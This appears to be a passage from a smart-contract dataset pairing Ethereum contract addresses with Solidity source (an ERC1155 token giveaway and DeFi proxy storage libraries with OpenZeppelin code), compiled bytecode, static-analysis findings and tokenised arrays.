3565b9050919050565b60006020820190508181036000830152613c8e816137e6565b9050919050565b60006020820190508181036000830152613cae81613809565b9050919050565b60006020820190508181036000830152613cce8161382c565b9050919050565b60006020820190508181036000830152613cee8161384f565b9050919050565b60006020820190508181036000830152613d0e81613872565b9050919050565b60006020820190508181036000830152613d2e81613895565b9050919050565b60006020820190508181036000830152613d4e816138b8565b9050919050565b60006020820190508181036000830152613d6e816138db565b9050919050565b60006020820190508181036000830152613d8e816138fe565b9050919050565b60006020820190508181036000830152613dae81613921565b9050919050565b60006020820190508181036000830152613dce81613944565b9050919050565b60006020820190508181036000830152613dee81613967565b9050919050565b60006020820190508181036000830152613e0e8161398a565b9050919050565b6000602082019050613e2a60008301846139ad565b92915050565b6000613e3a613e4b565b9050613e46828261410c565b919050565b6000604051905090565b600067ffffffffffffffff821115613e7057613e6f6142a2565b5b613e79826142e5565b9050602081019050919050565b600067ffffffffffffffff821115613ea157613ea06142a2565b5b613eaa826142e5565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000613f1a8261408e565b9150613f258361408e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613f5a57613f596141b7565b5b828201905092915050565b6000613f708261408e565b9150613f7b8361408e565b925082613f8b57613f8a6141e6565b5b828204905092915050565b6000613fa18261408e565b9150613fac8361408e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613fe557613fe46141b7565b5b828202905092915050565b6000613ffb8261408e565b91506140068361408e565b925082821015614019576140186141b7565b5b828203905092915050565b600061402f8261406e565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b838110156140c55780820151818401526020810190506140aa565b838111156140d4576000848401525b50505050565b600060028204905060018216806140f257607f821691505b6020821081141561410657614105614215565b5b50919050565b614115826142e5565b810181811067ffffffffffffffff82111715614134576141336142a2565b5b80604052505050565b60006141488261408e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561417b5761417a6141b7565b5b600182019050919050565b60006141918261408e565b915061419c8361408e565b9250826141ac576141ab6141e6565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f41697264726f7020776f756c6420657863656564206d617820737570706c7900600082015250565b7f4e6f7420656e6f75676820657468657200000000000000000000000000000000600082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f657863656564206d617820737570706c79000000000000000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4e6f206d6f72652061697264726f702071756f74610000000000000000000000600082015250565b7f65786365656420726f756e642062616c616e6365000000000000000000000000600082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4e6f20656e6f756768207075626c6963206d696e742071756174610000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f53616c65206973206e6f7420616374697665206e6f7700000000000000000000600082015250565b7f53686f756c64206e6f74206d696e74207468726f75676820636f6e747261637460008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f657863656564206d6178206d696e74207065722074696d650000000000000000600082015250565b61498c81614024565b811461499757600080fd5b50565b6149a381614036565b81146149ae57600080fd5b50565b6149ba81614042565b81146149c557600080fd5b50565b6149d18161408e565b81146149dc57600080fd5b5056fea2646970667358221220511d9a095a8666f5e358f499e7792723a99f2779aefe3c95a491a1e0fc6d368d64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 26187, 2683, 2487, 2094, 28154, 2063, 2581, 2546, 24434, 2692, 24594, 2509, 2497, 2581, 2683, 2475, 2063, 2683, 2683, 3207, 2497, 2575, 2620, 2050, 2620, 2581, 19473, 24096, 2692, 11387, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 7817, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5164, 3136, 1012, 1008, 1013, 3075, 7817, 1063, 27507, 16048, 2797, 5377, 1035, 2002, 2595, 1035, 9255, 1027, 1000, 5890, 21926, 19961, 2575, 2581, 2620, 2683, 7875, 19797, 12879, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,188
0x9659bbB0BFe9d0D205ff776A0eFFb3c582f98f7c
// SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; contract RightClickMyToad { IERC1155 nft; constructor() { nft = IERC1155(0x173CdcAFeB0C8c117eDec23e4931A68a5f7FfAe6); } function rightClick() public { nft.safeTransferFrom(address(this), msg.sender, 1, 1, ""); } function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure returns(bytes4) { return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c80638f7fafb01461003b578063f23a6e6114610045575b600080fd5b610043610075565b005b61005f600480360381019061005a91906101ac565b610109565b60405161006c91906102dd565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a30336001806040518563ffffffff1660e01b81526004016100d59493929190610285565b600060405180830381600087803b1580156100ef57600080fd5b505af1158015610103573d6000803e3d6000fd5b50505050565b60007ff23a6e612e1ff4830e658fe43f4e3cb4a5f8170bd5d9e69fb5d7a7fa9e4fdf9790509695505050505050565b60008135905061014781610383565b92915050565b60008083601f84011261015f57600080fd5b8235905067ffffffffffffffff81111561017857600080fd5b60208301915083600182028301111561019057600080fd5b9250929050565b6000813590506101a68161039a565b92915050565b60008060008060008060a087890312156101c557600080fd5b60006101d389828a01610138565b96505060206101e489828a01610138565b95505060406101f589828a01610197565b945050606061020689828a01610197565b935050608087013567ffffffffffffffff81111561022357600080fd5b61022f89828a0161014d565b92509250509295509295509295565b61024781610309565b82525050565b6102568161031b565b82525050565b61026581610371565b82525050565b60006102786000836102f8565b9150600082019050919050565b600060a08201905061029a600083018761023e565b6102a7602083018661023e565b6102b4604083018561025c565b6102c1606083018461025c565b81810360808301526102d28161026b565b905095945050505050565b60006020820190506102f2600083018461024d565b92915050565b600082825260208201905092915050565b600061031482610347565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061037c82610367565b9050919050565b61038c81610309565b811461039757600080fd5b50565b6103a381610367565b81146103ae57600080fd5b5056fea26469706673582212208588f74dd1f2d0e9a4797ea6dc637617efc83611b6dd2c5752e310212f96f7e164736f6c63430008000033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 26187, 2683, 10322, 2497, 2692, 29292, 2063, 2683, 2094, 2692, 2094, 11387, 2629, 4246, 2581, 2581, 2575, 2050, 2692, 12879, 26337, 2509, 2278, 27814, 2475, 2546, 2683, 2620, 2546, 2581, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1022, 1012, 1014, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 14526, 24087, 1013, 29464, 11890, 14526, 24087, 1012, 14017, 1000, 1025, 3206, 2157, 20464, 6799, 8029, 3406, 4215, 1063, 29464, 11890, 14526, 24087, 1050, 6199, 1025, 9570, 2953, 1006, 1007, 1063, 1050, 6199, 1027, 29464, 11890, 14526, 24087, 1006, 1014, 2595, 16576, 2509, 19797, 3540, 7959, 2497, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,189
0x965a65edd138e7d9be5b4786cad01897e4ca7dc3
// File: contracts/lib/LibStack.sol pragma solidity ^0.6.0; library LibStack { function setAddress(bytes32[] storage _stack, address _input) internal { _stack.push(bytes32(uint256(uint160(_input)))); } function set(bytes32[] storage _stack, bytes32 _input) internal { _stack.push(_input); } function setHandlerType(bytes32[] storage _stack, Config.HandlerType _input) internal { _stack.push(bytes12(uint96(_input))); } function getAddress(bytes32[] storage _stack) internal returns (address ret) { ret = address(uint160(uint256(peek(_stack)))); _stack.pop(); } function getSig(bytes32[] storage _stack) internal returns (bytes4 ret) { ret = bytes4(peek(_stack)); _stack.pop(); } function get(bytes32[] storage _stack) internal returns (bytes32 ret) { ret = peek(_stack); _stack.pop(); } function peek(bytes32[] storage _stack) internal view returns (bytes32 ret) { require(_stack.length > 0, "stack empty"); ret = _stack[_stack.length - 1]; } } // File: contracts/lib/LibCache.sol pragma solidity ^0.6.0; library LibCache { function set( mapping(bytes32 => bytes32) storage _cache, bytes32 _key, bytes32 _value ) internal { _cache[_key] = _value; } function setAddress( mapping(bytes32 => bytes32) storage _cache, bytes32 _key, address _value ) internal { _cache[_key] = bytes32(uint256(uint160(_value))); } function setUint256( mapping(bytes32 => bytes32) storage _cache, bytes32 _key, uint256 _value ) internal { _cache[_key] = bytes32(_value); } function getAddress( mapping(bytes32 => bytes32) storage _cache, bytes32 _key ) internal view returns (address ret) { ret = address(uint160(uint256(_cache[_key]))); } function getUint256( mapping(bytes32 => bytes32) storage _cache, bytes32 _key ) internal view returns (uint256 ret) { ret = uint256(_cache[_key]); } function get(mapping(bytes32 => bytes32) storage _cache, bytes32 _key) internal view returns (bytes32 ret) { ret = _cache[_key]; } } // File: contracts/Storage.sol pragma solidity ^0.6.0; /// @notice A cache structure composed by a bytes32 array contract Storage { using LibCache for mapping(bytes32 => bytes32); using LibStack for bytes32[]; bytes32[] public stack; mapping(bytes32 => bytes32) public cache; // keccak256 hash of "msg.sender" // prettier-ignore bytes32 public constant MSG_SENDER_KEY = 0xb2f2618cecbbb6e7468cc0f2aa43858ad8d153e0280b22285e28e853bb9d453a; // keccak256 hash of "cube.counter" // prettier-ignore bytes32 public constant CUBE_COUNTER_KEY = 0xf9543f11459ccccd21306c8881aaab675ff49d988c1162fd1dd9bbcdbe4446be; modifier isStackEmpty() { require(stack.length == 0, "Stack not empty"); _; } modifier isCubeCounterZero() { require(_getCubeCounter() == 0, "Cube counter not zero"); _; } modifier isInitialized() { require(_getSender() != address(0), "Sender is not initialized"); _; } modifier isNotInitialized() { require(_getSender() == address(0), "Sender is initialized"); _; } function _setSender() internal isNotInitialized { cache.setAddress(MSG_SENDER_KEY, msg.sender); } function _resetSender() internal { cache.setAddress(MSG_SENDER_KEY, address(0)); } function _getSender() internal view returns (address) { return cache.getAddress(MSG_SENDER_KEY); } function _addCubeCounter() internal { cache.setUint256(CUBE_COUNTER_KEY, _getCubeCounter() + 1); } function _resetCubeCounter() internal { cache.setUint256(CUBE_COUNTER_KEY, 0); } function _getCubeCounter() internal view returns (uint256) { return cache.getUint256(CUBE_COUNTER_KEY); } } // File: contracts/Config.sol pragma solidity ^0.6.0; contract Config { // function signature of "postProcess()" bytes4 public constant POSTPROCESS_SIG = 0xc2722916; // The base amount of percentage function uint256 public constant PERCENTAGE_BASE = 1 ether; // Handler post-process type. Others should not happen now. enum HandlerType {Token, Custom, Others} } // File: contracts/interface/IERC20Usdt.sol pragma solidity ^0.6.0; interface IERC20Usdt { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external; function transferFrom(address sender, address recipient, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * 